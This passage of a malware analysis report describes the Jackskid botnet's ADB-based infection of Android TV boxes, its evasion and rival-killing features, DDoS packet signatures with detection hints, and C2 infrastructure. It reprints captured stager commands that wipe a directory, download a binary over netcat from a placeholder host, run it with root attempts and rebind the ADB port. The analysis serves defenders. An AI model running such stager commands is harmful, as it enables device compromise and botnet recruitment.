Proxy delivery mechanism. The attacker routes ADB connections through HTTP CONNECT proxies. Eight of ten captured sessions began with CONNECT step1.flowlayer[.]app:5555 HTTP/1.1. Two earlier sessions (including the January 23 first observation) routed through localtest.me:5555. Both domains resolve to localhost/loopback addresses and are used as proxy-host headers, not as actual proxy services. The use of HTTP CONNECT proxies to reach ADB-exposed devices confirms the residential proxy abuse documented by Synthient.

Two stager patterns. The captures show two distinct infection patterns co-existing in the wild:

Redirect pattern (associated with instd binary name): navigates to a writable directory, clears prior artifacts with rm -rf *, then downloads and executes via output redirection:

cd /data/local/tmp || cd /sdcard/0 || cd /storage/emulated/0; rm -rf *;
toybox nc <IP> <PORT> > instd || busybox nc ... > instd || busybox1 nc ... > instd;
chmod 777 instd; ./instd [tag]

dd pattern (associated with arm7 binary name): downloads via dd, attempts privilege escalation with su 0, and rebinds ADB to a non-standard port in a single command:

(nc <IP> <PORT> || toybox nc ... || busybox nc ...) | dd of="/data/local/tmp/arm7";
chmod 777 /data/local/tmp/arm7; su 0 /data/local/tmp/arm7 [tag] || /data/local/tmp/arm7 [tag];
su 0 setprop service.adb.tcp.port 22337; su 0 setprop persist.adb.tcp.port 22337 ||
setprop service.adb.tcp.port 22337; setprop persist.adb.tcp.port 22337; > /dev/null 2>&1

The dd pattern adds su 0 privilege escalation, ADB port rebinding (5555 → 22337), and stderr suppression. The binary name shift from instd to arm7 and the addition of setprop persistence indicate this is a later iteration.

Anti-competition in action. A separate capture shows the stager attempting to uninstall both google.android.sys.update (an older Jackskid package) and com.android.docks (Snow), producing Java DELETE_FAILED_INTERNAL_ERROR exceptions with full PackageManagerService stack traces when neither package exists on the target. The clean-up routine runs unconditionally regardless of whether competitors are present.

Campaign tags confirmed. Two tags first identified in Phase 1 honeypot data were re-observed: pyramid (binary name daemon, IP 5.187.35[.]158:1337, inline iptables rules blocking ports 5555, 3222, and 12108 — in use since the earliest observed ADB session on January 23) and gonzo (instd, IP 5.187.35[.]158:2448, localtest.me proxy routing). The pyramid sessions are the only captures that include iptables port-blocking directly in the ADB shell command rather than in a separate stager script.

The bot aggressively suppresses rival botnets via multiple mechanisms:

• 0clKiller module (named from the unstripped debug build e46cbe2a): Three kill methods: killer_exe (match /proc/<pid>/exe path), killer_maps (inspect /proc/<pid>/maps for statically-linked binaries using >30KB virt memory), killer_stat (analyze /proc/<pid>/stat). Self-exclusion via readlink("/proc/self/exe") path comparison and dual PID check. Searches 28 firmware directories.
• killer_mirai_exists / killer_mirai_init: Specifically detects and kills competing Mirai instances.
• NETLINK process monitor: Creates AF_NETLINK socket (proc connector) to receive real-time process creation events; kills new competitor processes within milliseconds of spawning. Falls back to /proc polling if NETLINK is unavailable.
• Port blocking: Blocks ports 5555 (ADB), 3222, 12108 via iptables to prevent reinfection. Drops traffic on port 2625 (another botnet family).
• Netcat disabling: Bind-mounts /dev/null over netcat binaries — pulling up the ladder after climbing aboard.

ADB stager anti-competition:

The removal of com.google.android.update (an earlier Jackskid package name, without the .pms/.gms/.sys suffix) means the operator is uninstalling their own older infections.

• Detects virtualization: qemu, vmware, virtualbox, xen, hyperv, kvm
• Detects sandboxes: virustotal, cuckoo, joebox, anubis, norman, threattrack, fireeye
• Detects forensic tools: tcpdump, wireshark, tshark, dumpcap
• OOM evasion: writes -1000 to /proc/self/oom_score_adj (the bot considers itself more essential than any process on the host, including init)
• Process hiding: rewrites argv[0] from a masquerade list (udhcpc, inetd, ntpclient, watchdog, etc.) — maximum camouflage via maximum tedium
• Environment hiding: clears environ pointers

Earlier builds (c758c08c through 38e49e9f) include a telnet scanner that binds ports 23 and 2323, brute-forces IoT devices using an embedded credential table (~204 pairs of ISP-specific, camera, and router defaults), and drops new payloads via netcat.

The c654028d variant (March 2026) does not contain a telnet scanner or credential table. No busybox probe strings, no root/admin credentials, no references to telnet ports, and no scanner logic are present in the binary. Propagation is fully externalized to ADB exploitation and the komaru stager. This represents a shift from self-propagating builds toward specialized payloads with external delivery tooling.

The 38e49e9f build is packed with UPX 5.02. UPX 5.00 introduced ELF use of memfd_create(), which enables in-memory unpacking on supported kernels (Linux 3.17+). When available, the unpacked binary is executed from an anonymous file descriptor without being written to disk, reducing exposure to file-based scanning.

These byte patterns are copied from .rodata into attack packets and are invariant.

24-byte template at VA 0x80235:

ff ff ff ff 54 53 6f 75 72 63 65 20 45 6e 67 69
6e 65 20 51 75 65 72 79

Detect: \xff\xff\xff\xffTSource Engine Query prefix with UDP payload > 100 bytes (legitimate queries are exactly 25 bytes).

25-byte template at VA 0x8021c:

01 00 00 00 00 3a f2 1b 38 00 ff ff 00 fe fe fe
fe fd fd fd fd 47 73 80 19

Detect: RakNet magic at offset 9 + fixed timestamp 3af21b38 + fixed GUID 47738019 (legitimate clients randomize these).

15-byte template: \xff\xff\xff\xffgetinfo xyz

Default port 30120. The xyz parameter is non-standard (legitimate queries use getinfo or getinfo\n).

12-byte TCP options: 02 04 05 b4 01 01 04 02 01 03 03 08

MSS=1460, NOP, NOP, SACK Permitted, NOP, Window Scale=8. Total IP length: exactly 52 bytes. This exact sequence does not match any real OS TCP stack.

143-byte static template on port 524 (NCP). Only bytes 8–11 vary per packet. Anchor patterns:

Offset 22:  e0 c0 05 80 81 02 f1 ea f5 4f
Offset 60:  60 5d 4c 4f 01 e0 0c 89 86 3a
Offset 128: 02 88 90 08 81 76 e3 ff ff ff ff ff ff ff f0

The production YARA rule is maintained in jackskid_ddos_botnet.yar. It uses multi-tier detection logic: high-confidence matching on the RC4 cipher key or FrshPckBnnnSplit passphrase, medium-confidence matching on DDoS payload templates combined with crypto indicators, and exclusion logic to avoid Cecilio false positives. The medium-confidence DDoS template condition requires the Jackskid-specific TCP SYN options fingerprint ($tcp_syn_opts) to avoid false positives on generic Mirai variants that happen to include ChaCha20 and common attack payloads like A2S_INFO or RakNet.

Analyzed samples

The earliest build (11c0447f) is an x86 prototype with 18 DDoS attack types (including protocol-specific UDP floods using SSDP, DNS, SNMP, and LDAP templates, later removed), primitive 4-byte XOR config encryption, and a hardcoded C2 IP address. The c758c08c and 21c9e1 builds introduced the full RC4+ChaCha20+XXTEA crypto stack with 6–9 attack types, using raw DNS for C2 resolution. Later builds (7d892083, 38e49e9f) added statically linked mbedTLS for DNS-over-HTTPS C2 resolution, growing to 562 KB and 10–14 attack types.

The c654028d build (March 2026) marks a shift in delivery: deployed via ADB exploitation on Android TV devices, wrapped in a com.google.alarm APK with five persistence mechanisms. It carries the same cipher and crypto stack as 38e49e9f (confirmed by static config decryption) but strips the telnet scanner and credential table. Propagation is fully externalized to the komaru shell stager.

The following samples are referenced throughout the report:

The samples analyzed in this report span all three phases:

• 11c0447f (Nov 2025): Early x86 build. UPX-packed, 67 KB unpacked. First sample documented by Foresiet.

• c758c08c (late 2025): Early ARM build. 132 KB, not UPX-packed. Reported by XLab.

• 7d892083 (Jan 22): ARM release build. 10 DDoS attack types, DNS-over-HTTPS C2 resolution, encrypted config with key DEADBEEF CAFEBABE. Campaign ID rhombus.

• 214d25ce (early Feb): ARM debug/development build. 11 attack types (+FiveM). Hardcoded cleartext C2 at 158.94.210[.]88, verbose logging with function names, no UPX packing.

• 38e49e9f (Feb 10): ARM production build. 14 attack types (+GRE flood, TCP handshake flood, NCP flood). UPX 5.02 packing with in-memory unpacking support. 10 C2 domains decrypted from config, 60-port rotation pool.

• c654028d (Mar 2026): ARM DDoS-only variant (richy). Deployed via ADB exploitation on Android TV boxes with com.google.alarm APK persistence wrapper. Single C2 domain (nodes.ipmoyu[.]xyz), expanded 84-port pool. No telnet scanner or credential table — propagation fully externalized to ADB/stager tooling. Same cipher key and crypto stack as 38e49e9f, confirmed via static config decryption.

• ADB campaign samples (Jan 23 – Mar 16): 38 unique samples covering the full ADB infection timeline. Includes 12 ELF ARM binaries spanning 4 C2 domain generations (boatdealers[.]su → www.ipmoyu[.]xyz → peer.ipmoyu[.]xyz → nodes.ipmoyu[.]xyz), 12 APKs with 9 distinct package names, 13 ADB stager scripts, and an unstripped debug build (e46cbe2a) revealing internal project name softbot and 0clKiller module naming. Config decryption confirmed the same DEADBEEF CAFEBABE key across all builds. Attack type count grew to 16–17 with the addition of an HTTP GET flood (Mozilla/5.0 UA) and HTTP/2 DoH support.

• ENS C2 build (516c532a, Mar 23): ARM ELF, 565 KB. Resolves C2 via Ethereum Name Service (m3rnbvs5d.eth, text record key k1er4n). IPv6→IPv4 XOR 0xA5 decode. 90-port pool. TLS without XXTEA (FrshPckBnnnSplit absent). Deployed from 176.65.139[.]72 as com.google.android.play APK wrapper. Competition kill list: jilcore.6.so, jipplib.1.so, jibdata.2.so, jiblib.5.so.

• Lite scanner builds (f0e1cf09 + 3 others, Mar 23): 164–272 KB, no TLS, no DNS. Hardcoded C2 185.196.41[.]180, 24-port pool, cron kworker persistence, botd_single_lock coordination socket on port 34942. Telnet scanner with credential table included.

• March 2026 wave (Mar 10–13): 28 samples across three build tiers: (1) 5 stripped DDoS-only builds (55–92 KB, ARM/MIPS/x86_64) with C2 at 158.94.210[.]71 / ricocaseagainst.rebirth[.]st and bot tag "here we are"; (2) 12 full debug builds (130–178 KB, multi-arch) with C2 at 185.196.41[.]180 (VDSKA-NL, AS400992/AS50053), bot tag "init ready", PJbiNbbeasddDfsc XXTEA key, botd_single_lock mutex, kworker masquerade, and cron persistence; (3) 11 full+scanner builds (228–356 KB, multi-arch) with IoT credentials, systemd persistence (dbus-kworker.service), and anti-VM checks. All 28 share the DEADBEEF CAFEBABE E0A4CBD6 BADC0DE5 cipher key. The 23 full/scanner builds are Aisuru–Jackskid crossover builds, sharing C2 IP address 185.196.41[.]180 and PJbiNbbeasddDfsc XXTEA key with Aisuru sample 7500925a. The rebirth[.]st domain and filename "rebirthstresswashere" link the stripped builds to the Rebirth stresser brand. For a group that encrypts its configs with three layers, the filename is remarkably forthcoming.

The following 98 unique IP addresses were resolved from the 6 active C2 domains on 2026-03-07 using a diverse set of 15 public DNS resolvers. All IP addresses were enriched with ASN and geolocation data from the IPinfo dataset. Domain abbreviations: boat = boatdealers[.]su, gokart = gokart[.]su, cecilio = cecilioc2[.]xyz, tuna = sendtuna[.]com, moo/dvrip/log = 6yd[.]ru subdomains.

Post-disruption update: Following the March 19 law enforcement action, multiple C2 domains have gone NXDOMAIN and the majority of fast-flux endpoints no longer accept connections. The table below reflects the pre-disruption March 7 resolution snapshot; see C2 infrastructure status for current status.

This single-day snapshot captured 98 unique IP addresses, but continuous DNS monitoring across both research teams observed 415+ unique fast-flux addresses for the same domains over the January–March period — a 4× multiplier that underscores the pool's churn rate. The broader dataset adds hosting providers not visible in a single snapshot (BrainStorm Network, GHOSTnet, RoyaleHosting, Vultr), suggesting the operator rotates infrastructure rapidly enough that point-in-time DNS resolution captures only a quarter of the active pool.

The infrastructure is distributed across 25+ countries and 30+ autonomous systems — a geographic footprint that suggests the operator optimizes for jurisdictional complexity. The top hosting providers are:

Top hosting providers in Jackskid fast-flux infrastructure

Two distinct fast-flux pools are visible:

• Pool A (boatdealers[.]su, gokart[.]su, sendtuna[.]com): 54 IP addresses with heavy overlap. Dominated by DigitalOcean, Baxet Group, RouterHosting, Orion Network, and OVH.
• Pool B (cecilioc2[.]xyz): 38 IP addresses, mostly separate from Pool A. Dominated by Onidel Pty Ltd, Akamai Connected Cloud, Cloud assets LLC, and GLOBAL CONNECTIVITY SOLUTIONS.

The 6yd[.]ru dynamic DNS entries (moo, dvrip, log) use dedicated single IP addresses on Amarutu Technology and Optibounce, suggesting a different tier of backup infrastructure.

Two debug builds provide complementary operator tradecraft insights:

214d25ce (early Feb): Leaked the C2 IP address 158.94.210[.]88 in cleartext, the XOR auth key PJbiNbbeasddDfsc, and internal function names:

e46cbe2a (Feb 19): A 160 KB unstripped DDoS-only build captured from port 8090 on 5.187.35[.]158. Full symbol table with 300+ symbols reveals:

• Project name: softbot — binaries named softbot.arm, softbot.mpsl
• Killer module: 0clKiller — killer_exe, killer_maps, killer_stat, killer_mirai_exists, killer_mirai_init, killer_pid, report_kill
• Attack functions: 16 named handlers — attack_tcp_syn, attack_tcp_ack, attack_tcp_bypass, attack_tcp_handshake, attack_tcp_legit, attack_tcp_pshack, attack_tcp_stomp, attack_tcp_socket, attack_udp_bypass, attack_udp_generic, attack_udp_plain, attack_udp_raknet, attack_udp_rand, attack_udp_vse, attack_gre_eth, attack_gre_ip
• Config crypto: table_init, table_key, table_lock_val, table_retrieve_val, table_unlock_val
• C2: resolve_cnc_addr, resolve_func, ensure_single_instance
• PRNG: rand_init, rand_next, rand_next_range, rand_str, rand_alphastr
• Build environment: aboriginal Linux cross-compiler (/home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv7l)

This build is DDoS-only — it has attack functions but no telnet scanner, no APK installer, and no C2 registration protocol. The operator ships different build configurations for different deployment contexts.

The encrypted config contains fake .so library names used to fingerprint sandbox environments. These rotate across builds:

The naming pattern (ji* prefix) is consistent enough to use as a detection signal, while the rotation demonstrates active anti-analysis maintenance — a changelog for libraries that don't exist.